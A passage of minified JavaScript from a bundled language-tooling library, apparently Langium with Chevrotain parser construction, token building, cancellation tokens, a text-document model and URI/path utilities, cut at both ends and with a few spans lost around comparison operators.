this.wrapper.currIdx}},PXe={recoveryEnabled:!0,nodeLocationTracking:"full",skipValidations:!0,errorMessageProvider:new F1},zP=class extends gb{static{o(this,"ChevrotainWrapper")}constructor(e,r){let n=r&&"maxLookahead"in r;super(e,Object.assign(Object.assign(Object.assign({},PXe),{lookaheadStrategy:n?new Ju({maxLookahead:r.maxLookahead}):new bb({logging:r.skipValidations?()=>{}:void 0})}),r))}get IS_RECORDING(){return this.RECORDING_PHASE}DEFINE_RULE(e,r){return this.RULE(e,r)}wrapSelfAnalysis(){this.performSelfAnalysis()}wrapConsume(e,r){return this.consume(e,r)}wrapSubrule(e,r,n){return this.subrule(e,r,{ARGS:[n]})}wrapOr(e,r){this.or(e,r)}wrapOption(e,r){this.option(e,r)}wrapMany(e,r){this.many(e,r)}wrapAtLeastOne(e,r){this.atLeastOne(e,r)}}});function _b(t,e,r){return BXe({parser:e,tokens:r,ruleNames:new Map},t),e}function BXe(t,e){let r=Yx(e,!1),n=an(e.rules).filter(Ga).filter(i=>r.has(i));for(let i of n){let a=Object.assign(Object.assign({},t),{consume:1,optional:1,subrule:1,many:1,or:1});t.parser.rule(i,jp(a,i.definition))}}function jp(t,e,r=!1){let n;if(Zo(e))n=HXe(t,e);else if(qu(e))n=FXe(t,e);else if(Fl(e))n=jp(t,e.terminal);else if(Mp(e))n=Q0e(t,e);else if($l(e))n=$Xe(t,e);else if(BE(e))n=GXe(t,e);else if($E(e))n=VXe(t,e);else if(Of(e))n=UXe(t,e);else if(oO(e)){let i=t.consume++;n=o(()=>t.parser.consume(i,yo,e),"method")}else throw new Rp(e.$cstNode,`Unexpected element type: ${e.$type}`);return Z0e(t,r?void 0:GS(e),n,e.cardinality)}function FXe(t,e){let r=Kx(e);return()=>t.parser.action(r,e)}function $Xe(t,e){let r=e.rule.ref;if(Ga(r)){let n=t.subrule++,i=r.fragment,a=e.arguments.length>0?zXe(r,e.arguments):()=>({});return s=>t.parser.subrule(n,J0e(t,r),i,e,a(s))}else if(mo(r)){let n=t.consume++,i=GP(t,r.name);return()=>t.parser.consume(n,i,e)}else if(r)Uc(r);else throw new Rp(e.$cstNode,`Undefined rule: ${e.rule.$refText}`)}function zXe(t,e){let r=e.map(n=>eh(n.value));return n=>{let i={};for(let a=0;ae(n)||r(n)}else if(JI(t)){let e=eh(t.left),r=eh(t.right);return n=>e(n)&&r(n)}else if(tO(t)){let e=eh(t.value);return r=>!e(r)}else if(rO(t)){let e=t.parameter.ref.name;return r=>r!==void 0&&r[e]===!0}else if(ZI(t)){let e=!!t.true;return()=>e}Uc(t)}function GXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);{let r=[];for(let i of e.elements){let a={ALT:jp(t,i,!0)},s=GS(i);s&&(a.GATE=eh(s)),r.push(a)}let n=t.or++;return i=>t.parser.alternatives(n,r.map(a=>{let s={ALT:o(()=>a.ALT(i),"ALT")},l=a.GATE;return l&&(s.GATE=()=>l(i)),s}))}}function VXe(t,e){if(e.elements.length===1)return jp(t,e.elements[0]);let r=[];for(let l of e.elements){let u={ALT:jp(t,l,!0)},h=GS(l);h&&(u.GATE=eh(h)),r.push(u)}let n=t.or++,i=o((l,u)=>{let h=u.getRuleStack().join("-");return`uGroup_${l}_${h}`},"idFunc"),a=o(l=>t.parser.alternatives(n,r.map((u,h)=>{let f={ALT:o(()=>!0,"ALT")},d=t.parser;f.ALT=()=>{if(u.ALT(l),!d.isRecording()){let m=i(n,d);d.unorderedGroups.get(m)||d.unorderedGroups.set(m,[]);let g=d.unorderedGroups.get(m);typeof g?.[h]>"u"&&(g[h]=!0)}};let p=u.GATE;return p?f.GATE=()=>p(l):f.GATE=()=>{let m=d.unorderedGroups.get(i(n,d));return!m?.[h]},f})),"alternatives"),s=Z0e(t,GS(e),a,"*");return l=>{s(l),t.parser.isRecording()||t.parser.unorderedGroups.delete(i(n,t.parser))}}function UXe(t,e){let r=e.elements.map(n=>jp(t,n));return n=>r.forEach(i=>i(n))}function GS(t){if(Of(t))return t.guardCondition}function Q0e(t,e,r=e.terminal){if(r)if($l(r)&&Ga(r.rule.ref)){let n=r.rule.ref,i=t.subrule++;return a=>t.parser.subrule(i,J0e(t,n),!1,e,a)}else if($l(r)&&mo(r.rule.ref)){let n=t.consume++,i=GP(t,r.rule.ref.name);return()=>t.parser.consume(n,i,e)}else if(Zo(r)){let n=t.consume++,i=GP(t,r.value);return()=>t.parser.consume(n,i,e)}else throw new Error("Could not build cross reference parser");else{if(!e.type.ref)throw new Error("Could not resolve reference to type: "+e.type.$refText);let n=qE(e.type.ref),i=n?.terminal;if(!i)throw new Error("Could not find name assignment for type: "+Kx(e.type.ref));return Q0e(t,e,i)}}function HXe(t,e){let r=t.consume++,n=t.tokens[e.value];if(!n)throw new Error("Could not find token for keyword: "+e.value);return()=>t.parser.consume(r,n,e)}function Z0e(t,e,r,n){let i=e&&eh(e);if(!n)if(i){let a=t.or++;return s=>t.parser.alternatives(a,[{ALT:o(()=>r(s),"ALT"),GATE:o(()=>i(s),"GATE")},{ALT:LS(),GATE:o(()=>!i(s),"GATE")}])}else return r;if(n==="*"){let a=t.many++;return s=>t.parser.many(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else if(n==="+"){let a=t.many++;if(i){let s=t.or++;return l=>t.parser.alternatives(s,[{ALT:o(()=>t.parser.atLeastOne(a,{DEF:o(()=>r(l),"DEF")}),"ALT"),GATE:o(()=>i(l),"GATE")},{ALT:LS(),GATE:o(()=>!i(l),"GATE")}])}else return s=>t.parser.atLeastOne(a,{DEF:o(()=>r(s),"DEF")})}else if(n==="?"){let a=t.optional++;return s=>t.parser.optional(a,{DEF:o(()=>r(s),"DEF"),GATE:i?()=>i(s):void 0})}else Uc(n)}function J0e(t,e){let r=qXe(t,e),n=t.parser.getRule(r);if(!n)throw new Error(`Rule "${r}" not found."`);return n}function qXe(t,e){if(Ga(e))return e.name;if(t.ruleNames.has(e))return t.ruleNames.get(e);{let r=e,n=r.$container,i=e.$type;for(;!Ga(n);)(Of(n)||BE(n)||$E(n))&&(i=n.elements.indexOf(r).toString()+":"+i),r=n,n=n.$container;return i=n.name+":"+i,t.ruleNames.set(e,i),i}}function GP(t,e){let r=t.tokens[e];if(!r)throw new Error(`Token "${e}" not found."`);return r}var VS=N(()=>{"use strict";Ff();Hc();NE();Ys();zl();o(_b,"createParser");o(BXe,"buildRules");o(jp,"buildElement");o(FXe,"buildAction");o($Xe,"buildRuleCall");o(zXe,"buildRuleCallPredicate");o(eh,"buildPredicate");o(GXe,"buildAlternatives");o(VXe,"buildUnorderedGroup");o(UXe,"buildGroup");o(GS,"getGuardCondition");o(Q0e,"buildCrossReference");o(HXe,"buildKeyword");o(Z0e,"wrap");o(J0e,"getRule");o(qXe,"getRuleName");o(GP,"getToken")});function VP(t){let e=t.Grammar,r=t.parser.Lexer,n=new Cb(t);return _b(e,n,r.definition),n.finalize(),n}var UP=N(()=>{"use strict";Ab();VS();o(VP,"createCompletionParser")});function HP(t){let e=eme(t);return e.finalize(),e}function eme(t){let e=t.Grammar,r=t.parser.Lexer,n=new Sb(t);return _b(e,n,r.definition)}var qP=N(()=>{"use strict";Ab();VS();o(HP,"createLangiumParser");o(eme,"prepareLangiumParser")});var th,US=N(()=>{"use strict";Ff();Hc();hs();zl();l1();Ys();th=class{static{o(this,"DefaultTokenBuilder")}constructor(){this.diagnostics=[]}buildTokens(e,r){let n=an(Yx(e,!1)),i=this.buildTerminalTokens(n),a=this.buildKeywordTokens(n,i,r);return i.forEach(s=>{let l=s.PATTERN;typeof l=="object"&&l&&"test"in l&&o1(l)?a.unshift(s):a.push(s)}),a}flushLexingReport(e){return{diagnostics:this.popDiagnostics()}}popDiagnostics(){let e=[...this.diagnostics];return this.diagnostics=[],e}buildTerminalTokens(e){return e.filter(mo).filter(r=>!r.fragment).map(r=>this.buildTerminalToken(r)).toArray()}buildTerminalToken(e){let r=u1(e),n=this.requiresCustomPattern(r)?this.regexPatternFunction(r):r,i={name:e.name,PATTERN:n};return typeof n=="function"&&(i.LINE_BREAKS=!0),e.hidden&&(i.GROUP=o1(r)?Zn.SKIPPED:"hidden"),i}requiresCustomPattern(e){return e.flags.includes("u")||e.flags.includes("s")?!0:!!(e.source.includes("?<=")||e.source.includes("?(r.lastIndex=i,r.exec(n))}buildKeywordTokens(e,r,n){return e.filter(Ga).flatMap(i=>qc(i).filter(Zo)).distinct(i=>i.value).toArray().sort((i,a)=>a.value.length-i.value.length).map(i=>this.buildKeywordToken(i,r,!!n?.caseInsensitive))}buildKeywordToken(e,r,n){let i=this.buildKeywordPattern(e,n),a={name:e.value,PATTERN:i,LONGER_ALT:this.findLongerAlt(e,r)};return typeof i=="function"&&(a.LINE_BREAKS=!0),a}buildKeywordPattern(e,r){return r?new RegExp(kO(e.value)):e.value}findLongerAlt(e,r){return r.reduce((n,i)=>{let a=i?.PATTERN;return a?.source&&EO("^"+a.source+"$",e.value)&&n.push(i),n},[])}}});var Kp,Xc,WP=N(()=>{"use strict";Hc();zl();Kp=class{static{o(this,"DefaultValueConverter")}convert(e,r){let n=r.grammarSource;if(Mp(n)&&(n=AO(n)),$l(n)){let i=n.rule.ref;if(!i)throw new Error("This cst node was not parsed by a rule.");return this.runConverter(i,e,r)}return e}runConverter(e,r,n){var i;switch(e.name.toUpperCase()){case"INT":return Xc.convertInt(r);case"STRING":return Xc.convertString(r);case"ID":return Xc.convertID(r)}switch((i=IO(e))===null||i===void 0?void 0:i.toLowerCase()){case"number":return Xc.convertNumber(r);case"boolean":return Xc.convertBoolean(r);case"bigint":return Xc.convertBigint(r);case"date":return Xc.convertDate(r);default:return r}}};(function(t){function e(h){let f="";for(let d=1;d{"use strict";Object.defineProperty(jP,"__esModule",{value:!0});var YP;function XP(){if(YP===void 0)throw new Error("No runtime abstraction layer installed");return YP}o(XP,"RAL");(function(t){function e(r){if(r===void 0)throw new Error("No runtime abstraction layer provided");YP=r}o(e,"install"),t.install=e})(XP||(XP={}));jP.default=XP});var nme=Da(Ua=>{"use strict";Object.defineProperty(Ua,"__esModule",{value:!0});Ua.stringArray=Ua.array=Ua.func=Ua.error=Ua.number=Ua.string=Ua.boolean=void 0;function WXe(t){return t===!0||t===!1}o(WXe,"boolean");Ua.boolean=WXe;function tme(t){return typeof t=="string"||t instanceof String}o(tme,"string");Ua.string=tme;function YXe(t){return typeof t=="number"||t instanceof Number}o(YXe,"number");Ua.number=YXe;function XXe(t){return t instanceof Error}o(XXe,"error");Ua.error=XXe;function jXe(t){return typeof t=="function"}o(jXe,"func");Ua.func=jXe;function rme(t){return Array.isArray(t)}o(rme,"array");Ua.array=rme;function KXe(t){return rme(t)&&t.every(e=>tme(e))}o(KXe,"stringArray");Ua.stringArray=KXe});var ZP=Da($1=>{"use strict";Object.defineProperty($1,"__esModule",{value:!0});$1.Emitter=$1.Event=void 0;var QXe=KP(),ime;(function(t){let e={dispose(){}};t.None=function(){return e}})(ime||($1.Event=ime={}));var QP=class{static{o(this,"CallbackList")}add(e,r=null,n){this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(r),Array.isArray(n)&&n.push({dispose:o(()=>this.remove(e,r),"dispose")})}remove(e,r=null){if(!this._callbacks)return;let n=!1;for(let i=0,a=this._callbacks.length;i{this._callbacks||(this._callbacks=new QP),this._options&&this._options.onFirstListenerAdd&&this._callbacks.isEmpty()&&this._options.onFirstListenerAdd(this),this._callbacks.add(e,r);let i={dispose:o(()=>{this._callbacks&&(this._callbacks.remove(e,r),i.dispose=t._noop,this._options&&this._options.onLastListenerRemove&&this._callbacks.isEmpty()&&this._options.onLastListenerRemove(this))},"dispose")};return Array.isArray(n)&&n.push(i),i}),this._event}fire(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)}dispose(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0)}};$1.Emitter=HS;HS._noop=function(){}});var ame=Da(z1=>{"use strict";Object.defineProperty(z1,"__esModule",{value:!0});z1.CancellationTokenSource=z1.CancellationToken=void 0;var ZXe=KP(),JXe=nme(),JP=ZP(),qS;(function(t){t.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:JP.Event.None}),t.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:JP.Event.None});function e(r){let n=r;return n&&(n===t.None||n===t.Cancelled||JXe.boolean(n.isCancellationRequested)&&!!n.onCancellationRequested)}o(e,"is"),t.is=e})(qS||(z1.CancellationToken=qS={}));var eje=Object.freeze(function(t,e){let r=(0,ZXe.default)().timer.setTimeout(t.bind(e),0);return{dispose(){r.dispose()}}}),WS=class{static{o(this,"MutableToken")}constructor(){this._isCancelled=!1}cancel(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 0),this.dispose()))}get isCancellationRequested(){return this._isCancelled}get onCancellationRequested(){return this._isCancelled?eje:(this._emitter||(this._emitter=new JP.Emitter),this._emitter.event)}dispose(){this._emitter&&(this._emitter.dispose(),this._emitter=void 0)}},eB=class{static{o(this,"CancellationTokenSource")}get token(){return this._token||(this._token=new WS),this._token}cancel(){this._token?this._token.cancel():this._token=qS.Cancelled}dispose(){this._token?this._token instanceof WS&&this._token.dispose():this._token=qS.None}};z1.CancellationTokenSource=eB});var br={};var el=N(()=>{"use strict";Lr(br,ja(ame(),1))});function tB(){return new Promise(t=>{typeof setImmediate>"u"?setTimeout(t,0):setImmediate(t)})}function XS(){return YS=performance.now(),new br.CancellationTokenSource}function ome(t){sme=t}function Kc(t){return t===jc}async function bi(t){if(t===br.CancellationToken.None)return;let e=performance.now();if(e-YS>=sme&&(YS=e,await tB(),YS=performance.now()),t.isCancellationRequested)throw jc}var YS,sme,jc,gs,tl=N(()=>{"use strict";el();o(tB,"delayNextTick");YS=0,sme=10;o(XS,"startCancelableOperation");o(ome,"setInterruptionPeriod");jc=Symbol("OperationCancelled");o(Kc,"isOperationCancelled");o(bi,"interruptAndCheck");gs=class{static{o(this,"Deferred")}constructor(){this.promise=new Promise((e,r)=>{this.resolve=n=>(e(n),this),this.reject=n=>(r(n),this)})}}});function rB(t,e){if(t.length<=1)return t;let r=t.length/2|0,n=t.slice(0,r),i=t.slice(r);rB(n,e),rB(i,e);let a=0,s=0,l=0;for(;ar.line||e.line===r.line&&e.character>r.character?{start:r,end:e}:t}function tje(t){let e=ume(t.range);return e!==t.range?{newText:t.newText,range:e}:t}var jS,G1,hme=N(()=>{"use strict";jS=class t{static{o(this,"FullTextDocument")}constructor(e,r,n,i){this._uri=e,this._languageId=r,this._version=n,this._content=i,this._lineOffsets=void 0}get uri(){return this._uri}get languageId(){return this._languageId}get version(){return this._version}getText(e){if(e){let r=this.offsetAt(e.start),n=this.offsetAt(e.end);return this._content.substring(r,n)}return this._content}update(e,r){for(let n of e)if(t.isIncremental(n)){let i=ume(n.range),a=this.offsetAt(i.start),s=this.offsetAt(i.end);this._content=this._content.substring(0,a)+n.text+this._content.substring(s,this._content.length);let l=Math.max(i.start.line,0),u=Math.max(i.end.line,0),h=this._lineOffsets,f=lme(n.text,!1,a);if(u-l===f.length)for(let p=0,m=f.length;pe?i=s:n=s+1}let a=n-1;return e=this.ensureBeforeEOL(e,r[a]),{line:a,character:e-r[a]}}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line];if(e.character<=0)return n;let i=e.line+1r&&cme(this._content.charCodeAt(e-1));)e--;return e}get lineCount(){return this.getLineOffsets().length}static isIncremental(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range!==void 0&&(r.rangeLength===void 0||typeof r.rangeLength=="number")}static isFull(e){let r=e;return r!=null&&typeof r.text=="string"&&r.range===void 0&&r.rangeLength===void 0}};(function(t){function e(i,a,s,l){return new jS(i,a,s,l)}o(e,"create"),t.create=e;function r(i,a,s){if(i instanceof jS)return i.update(a,s),i;throw new Error("TextDocument.update: document must be created by TextDocument.create")}o(r,"update"),t.update=r;function n(i,a){let s=i.getText(),l=rB(a.map(tje),(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),u=0,h=[];for(let f of l){let d=i.offsetAt(f.range.start);if(du&&h.push(s.substring(u,d)),f.newText.length&&h.push(f.newText),u=i.offsetAt(f.range.end)}return h.push(s.substr(u)),h.join("")}o(n,"applyEdits"),t.applyEdits=n})(G1||(G1={}));o(rB,"mergeSort");o(lme,"computeLineOffsets");o(cme,"isEOL");o(ume,"getWellformedRange");o(tje,"getWellformedEdit")});var fme,ys,V1,nB=N(()=>{"use strict";(()=>{"use strict";var t={470:i=>{function a(u){if(typeof u!="string")throw new TypeError("Path must be a string. Received "+JSON.stringify(u))}o(a,"e");function s(u,h){for(var f,d="",p=0,m=-1,g=0,y=0;y<=u.length;++y){if(y2){var v=d.lastIndexOf("/");if(v!==d.length-1){v===-1?(d="",p=0):p=(d=d.slice(0,v)).length-1-d.lastIndexOf("/"),m=y,g=0;continue}}else if(d.length===2||d.length===1){d="",p=0,m=y,g=0;continue}}h&&(d.length>0?d+="/..":d="..",p=2)}else d.length>0?d+="/"+u.slice(m+1,y):d=u.slice(m+1,y),p=y-m-1;m=y,g=0}else f===46&&g!==-1?++g:g=-1}return d}o(s,"r");var l={resolve:o(function(){for(var u,h="",f=!1,d=arguments.length-1;d>=-1&&!f;d--){var p;d>=0?p=arguments[d]:(u===void 0&&(u=process.cwd()),p=u),a(p),p.length!==0&&(h=p+"/"+h,f=p.charCodeAt(0)===47)}return h=s(h,!f),f?h.length>0?"/"+h:"/":h.length>0?h:"."},"resolve"),normalize:o(function(u){if(a(u),u.length===0)return".";var h=u.charCodeAt(0)===47,f=u.charCodeAt(u.length-1)===47;return(u=s(u,!h)).length!==0||h||(u="."),u.length>0&&f&&(u+="/"),h?"/"+u:u},"normalize"),isAbsolute:o(function(u){return a(u),u.length>0&&u.charCodeAt(0)===47},"isAbsolute"),join:o(function(){if(arguments.length===0)return".";for(var u,h=0;h0&&(u===void 0?u=f:u+="/"+f)}return u===void 0?".":l.normalize(u)},"join"),relative:o(function(u,h){if(a(u),a(h),u===h||(u=l.resolve(u))===(h=l.resolve(h)))return"";for(var f=1;fy){if(h.charCodeAt(m+x)===47)return h.slice(m+x+1);if(x===0)return h.slice(m+x)}else p>y&&(u.charCodeAt(f+x)===47?v=x:x===0&&(v=0));break}var b=u.charCodeAt(f+x);if(b!==h.charCodeAt(m+x))break;b===47&&(v=x)}var T="";for(x=f+v+1;x<=d;++x)x!==d&&u.charCodeAt(x)!==47||(T.length===0?T+="..":T+="/..");return T.length>0?T+h.slice(m+v):(m+=v,h.charCodeAt(m)===47&&++m,h.slice(m))},"relative"),_makeLong:o(function(u){return u},"_makeLong"),dirname:o(function(u){if(a(u),u.length===0)return".";for(var h=u.charCodeAt(0),f=h===47,d=-1,p=!0,m=u.length-1;m>=1;--m)if((h=u.charCodeAt(m))===47){if(!p){d=m;break}}else p=!1;return d===-1?f?"/":".":f&&d===1?"//":u.slice(0,d)},"dirname"),basename:o(function(u,h){if(h!==void 0&&typeof h!="string")throw new TypeError('"ext" argument must be a string');a(u);var f,d=0,p=-1,m=!0;if(h!==void 0&&h.length>0&&h.length<=u.length){if(h.length===u.length&&h===u)return"";var g=h.length-1,y=-1;for(f=u.length-1;f>=0;--f){var v=u.charCodeAt(f);if(v===47){if(!m){d=f+1;break}}else y===-1&&(m=!1,y=f+1),g>=0&&(v===h.charCodeAt(g)?--g==-1&&(p=f):(g=-1,p=y))}return d===p?p=y:p===-1&&(p=u.length),u.slice(d,p)}for(f=u.length-1;f>=0;--f)if(u.charCodeAt(f)===47){if(!m){d=f+1;break}}else p===-1&&(m=!1,p=f+1);return p===-1?"":u.slice(d,p)},"basename"),extname:o(function(u){a(u);for(var h=-1,f=0,d=-1,p=!0,m=0,g=u.length-1;g>=0;--g){var y=u.charCodeAt(g);if(y!==47)d===-1&&(p=!1,d=g+1),y===46?h===-1?h=g:m!==1&&(m=1):h!==-1&&(m=-1);else if(!p){f=g+1;break}}return h===-1||d===-1||m===0||m===1&&h===d-1&&h===f+1?"":u.slice(h,d)},"extname"),format:o(function(u){if(u===null||typeof u!="object")throw new TypeError('The "pathObject" argument must be of type Object. Received type '+typeof u);return(function(h,f){var d=f.dir||f.root,p=f.base||(f.name||"")+(f.ext||"");return d?d===f.root?d+p:d+"/"+p:p})(0,u)},"format"),parse:o(function(u){a(u);var h={root:"",dir:"",base:"",ext:"",name:""};if(u.length===0)return h;var f,d=u.charCodeAt(0),p=d===47;p?(h.root="/",f=1):f=0;for(var m=-1,g=0,y=-1,v=!0,x=u.length-1,b=0;x>=f;--x)if((d=u.charCodeAt(x))!==47)y===-1&&(v=!1,y=x+1),d===46?m===-1?m=x:b!==1&&(b=1):m!==-1&&(b=-1);else if(!v){g=x+1;break}return m===-1||y===-1||b===0||b===1&&m===y-1&&m===g+1?y!==-1&&(h.base=h.name=g===0&&p?u.slice(1,y):u.slice(g,y)):(g===0&&p?(h.name=u.slice(1,m),h.base=u.slice(1,y)):(h.name=u.slice(g,m),h.base=u.slice(g,y)),h.ext=u.slice(m,y)),g>0?h.dir=u.slice(0,g-1):p&&(h.dir="/"),h},"parse"),sep:"/",delimiter:":",win32:null,posix:null};l.posix=l,i.exports=l}},e={};function r(i){var a=e[i];if(a!==void 0)return a.exports;var s=e[i]={exports:{}};return t[i](s,s.exports,r),s.exports}o(r,"r"),r.d=(i,a)=>{for(var s in a)r.o(a,s)&&!r.o(i,s)&&Object.defineProperty(i,s,{enumerable:!0,get:a[s]})},r.o=(i,a)=>Object.prototype.hasOwnProperty.call(i,a),r.r=i=>{typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(i,"__esModule",{value:!0})};var n={};(()=>{let i;r.r(n),r.d(n,{URI:o(()=>p,"URI"),Utils:o(()=>I,"Utils")}),typeof process=="object"?i=process.platform==="win32":typeof navigator=="object"&&(i=navigator.userAgent.indexOf("Windows")>=0);let a=/^\w[\w\d+.-]*$/,s=/^\//,l=/^\/\//;function u(L,E){if(!L.scheme&&E)throw new Error(`[UriError]: Scheme is missing: {scheme: "", authority: "${L.authority}", path: "${L.path}", query: "${L.query}", fragment: "${L.fragment}"}`);if(L.scheme&&!a.test(L.scheme))throw new Error("[UriError]: Scheme contains illegal characters.");if(L.path){if(L.authority){if(!s.test(L.path))throw new Error('[UriError]: If a URI contains an authority component, then the path component must either be empty or begin with a slash ("/") character')}else if(l.test(L.path))throw new Error('[UriError]: If a URI does not contain an authority component, then the path cannot begin with two slash characters ("//")')}}o(u,"s");let h="",f="/",d=/^(([^:/?#]+?):)?(\/\/([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?/;class p{static{o(this,"f")}static isUri(E){return E instanceof p||!!E&&typeof E.authority=="string"&&typeof E.fragment=="string"&&typeof E.path=="string"&&typeof E.query=="string"&&typeof E.scheme=="string"&&typeof E.fsPath=="string"&&typeof E.with=="function"&&typeof E.toString=="function"}scheme;authority;path;query;fragment;constructor(E,D,_,O,M,P=!1){typeof E=="object"?(this.scheme=E.scheme||h,this.authority=E.authority||h,this.path=E.path||h,this.query=E.query||h,this.fragment=E.fragment||h):(this.scheme=(function(B,F){return B||F?B:"file"})(E,P),this.authority=D||h,this.path=(function(B,F){switch(B){case"https":case"http":case"file":F?F[0]!==f&&(F=f+F):F=f}return F})(this.scheme,_||h),this.query=O||h,this.fragment=M||h,u(this,P))}get fsPath(){return b(this,!1)}with(E){if(!E)return this;let{scheme:D,authority:_,path:O,query:M,fragment:P}=E;return D===void 0?D=this.scheme:D===null&&(D=h),_===void 0?_=this.authority:_===null&&(_=h),O===void 0?O=this.path:O===null&&(O=h),M===void 0?M=this.query:M===null&&(M=h),P===void 0?P=this.fragment:P===null&&(P=h),D===this.scheme&&_===this.authority&&O===this.path&&M===this.query&&P===this.fragment?this:new g(D,_,O,M,P)}static parse(E,D=!1){let _=d.exec(E);return _?new g(_[2]||h,k(_[4]||h),k(_[5]||h),k(_[7]||h),k(_[9]||h),D):new g(h,h,h,h,h)}static file(E){let D=h;if(i&&(E=E.replace(/\\/g,f)),E[0]===f&&E[1]===f){let _=E.indexOf(f,2);_===-1?(D=E.substring(2),E=f):(D=E.substring(2,_),E=E.substring(_)||f)}return new g("file",D,E,h,h)}static from(E){let D=new g(E.scheme,E.authority,E.path,E.query,E.fragment);return u(D,!0),D}toString(E=!1){return T(this,E)}toJSON(){return this}static revive(E){if(E){if(E instanceof p)return E;{let D=new g(E);return D._formatted=E.external,D._fsPath=E._sep===m?E.fsPath:null,D}}return E}}let m=i?1:void 0;class g extends p{static{o(this,"l")}_formatted=null;_fsPath=null;get fsPath(){return this._fsPath||(this._fsPath=b(this,!1)),this._fsPath}toString(E=!1){return E?T(this,!0):(this._formatted||(this._formatted=T(this,!1)),this._formatted)}toJSON(){let E={$mid:1};return this._fsPath&&(E.fsPath=this._fsPath,E._sep=m),this._formatted&&(E.external=this._formatted),this.path&&(E.path=this.path),this.scheme&&(E.scheme=this.scheme),this.authority&&(E.authority=this.authority),this.query&&(E.query=this.query),this.fragment&&(E.fragment=this.fragment),E}}let y={58:"%3A",47:"%2F",63:"%3F",35:"%23",91:"%5B",93:"%5D",64:"%40",33:"%21",36:"%24",38:"%26",39:"%27",40:"%28",41:"%29",42:"%2A",43:"%2B",44:"%2C",59:"%3B",61:"%3D",32:"%20"};function v(L,E,D){let _,O=-1;for(let M=0;M=97&&P<=122||P>=65&&P<=90||P>=48&&P<=57||P===45||P===46||P===95||P===126||E&&P===47||D&&P===91||D&&P===93||D&&P===58)O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_!==void 0&&(_+=L.charAt(M));else{_===void 0&&(_=L.substr(0,M));let B=y[P];B!==void 0?(O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_+=B):O===-1&&(O=M)}}return O!==-1&&(_+=encodeURIComponent(L.substring(O))),_!==void 0?_:L}o(v,"d");function x(L){let E;for(let D=0;D1&&L.scheme==="file"?`//${L.authority}${L.path}`:L.path.charCodeAt(0)===47&&(L.path.charCodeAt(1)>=65&&L.path.charCodeAt(1)<=90||L.path.charCodeAt(1)>=97&&L.path.charCodeAt(1)<=122)&&L.path.charCodeAt(2)===58?E?L.path.substr(1):L.path[1].toLowerCase()+L.path.substr(2):L.path,i&&(D=D.replace(/\//g,"\\")),D}o(b,"m");function T(L,E){let D=E?x:v,_="",{scheme:O,authority:M,path:P,query:B,fragment:F}=L;if(O&&(_+=O,_+=":"),(M||O==="file")&&(_+=f,_+=f),M){let G=M.indexOf("@");if(G!==-1){let $=M.substr(0,G);M=M.substr(G+1),G=$.lastIndexOf(":"),G===-1?_+=D($,!1,!1):(_+=D($.substr(0,G),!1,!1),_+=":",_+=D($.substr(G+1),!1,!0)),_+="@"}M=M.toLowerCase(),G=M.lastIndexOf(":"),G===-1?_+=D(M,!1,!0):(_+=D(M.substr(0,G),!1,!0),_+=M.substr(G))}if(P){if(P.length>=3&&P.charCodeAt(0)===47&&P.charCodeAt(2)===58){let G=P.charCodeAt(1);G>=65&&G<=90&&(P=`/${String.fromCharCode(G+32)}:${P.substr(3)}`)}else if(P.length>=2&&P.charCodeAt(1)===58){let G=P.charCodeAt(0);G>=65&&G<=90&&(P=`${String.fromCharCode(G+32)}:${P.substr(2)}`)}_+=D(P,!0,!1)}return B&&(_+="?",_+=D(B,!1,!1)),F&&(_+="#",_+=E?F:v(F,!1,!1)),_}o(T,"y");function S(L){try{return decodeURIComponent(L)}catch{return L.length>3?L.substr(0,3)+S(L.substr(3)):L}}o(S,"v");let w=/(%[0-9A-Za-z][0-9A-Za-z])+/g;function k(L){return L.match(w)?L.replace(w,(E=>S(E))):L}o(k,"C");var A=r(470);let C=A.posix||A,R="/";var I;(function(L){L.joinPath=function(E,...D){return E.with({path:C.join(E.path,...D)})},L.resolvePath=function(E,...D){let _=E.path,O=!1;_[0]!==R&&(_=R+_,O=!0);let M=C.resolve(_,...D);return O&&M[0]===R&&!E.authority&&(M=M.substring(1)),E.with({path:M})},L.dirname=function(E){if(E.path.length===0||E.path===R)return E;let D=C.dirname(E.path);return D.length===1&&D.charCodeAt(0)===46&&(D=""),E.with({path:D})},L.basename=function(E){return C.basename(E.path)},L.extname=function(E){return C.extname(E.path)}})(I||(I={}))})(),fme=n})();({URI:ys,Utils:V1}=fme)});var vs,Qc=N(()=>{"use strict";nB();(function(t){t.basename=V1.basename,t.dirname=V1.dirname,t.extname=V1.extname,t.joinPath=V1.joinPath,t.resolvePath=V1.resolvePath;function e(i,a){return i?.toString()===a?.toString()}o(e,"equals"),t.equals=e;function r(i,a){let s=typeof i=="string"?i:i.path,l=typeof a=="string"?a:a.path,u=s.split("/").filter(m=>m.length>0),h=l.split("/").filter(m=>m.length>0),f=0;for(;f{"use strict";hme();U1();el();Ys();Qc();(function(t){t[t.Changed=0]="Changed",t[t.Parsed=1]="Parsed",t[t.IndexedContent=2]="IndexedContent",t[t.ComputedScopes=3]="ComputedScopes",t[t.Linked=4]="Linked",t[t.IndexedReferences=5]="IndexedReferences",t[t.Validated=6]="Validated"})(Ln||(Ln={}));Db=class{static{o(this,"DefaultLangiumDocumentFactory")}constructor(e){this.serviceRegistry=e.ServiceRegistry,this.textDocuments=e.workspace.TextDocuments,this.fileSystemProvider=e.workspace.FileSystemProvider}async fromUri(e,r=br.CancellationToken.None){let n=await this.fileSystemProvider.readFile(e);return this.createAsync(e,n,r)}fromTextDocument(e,r,n){return r=r??ys.parse(e.uri),br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromString(e,r,n){return 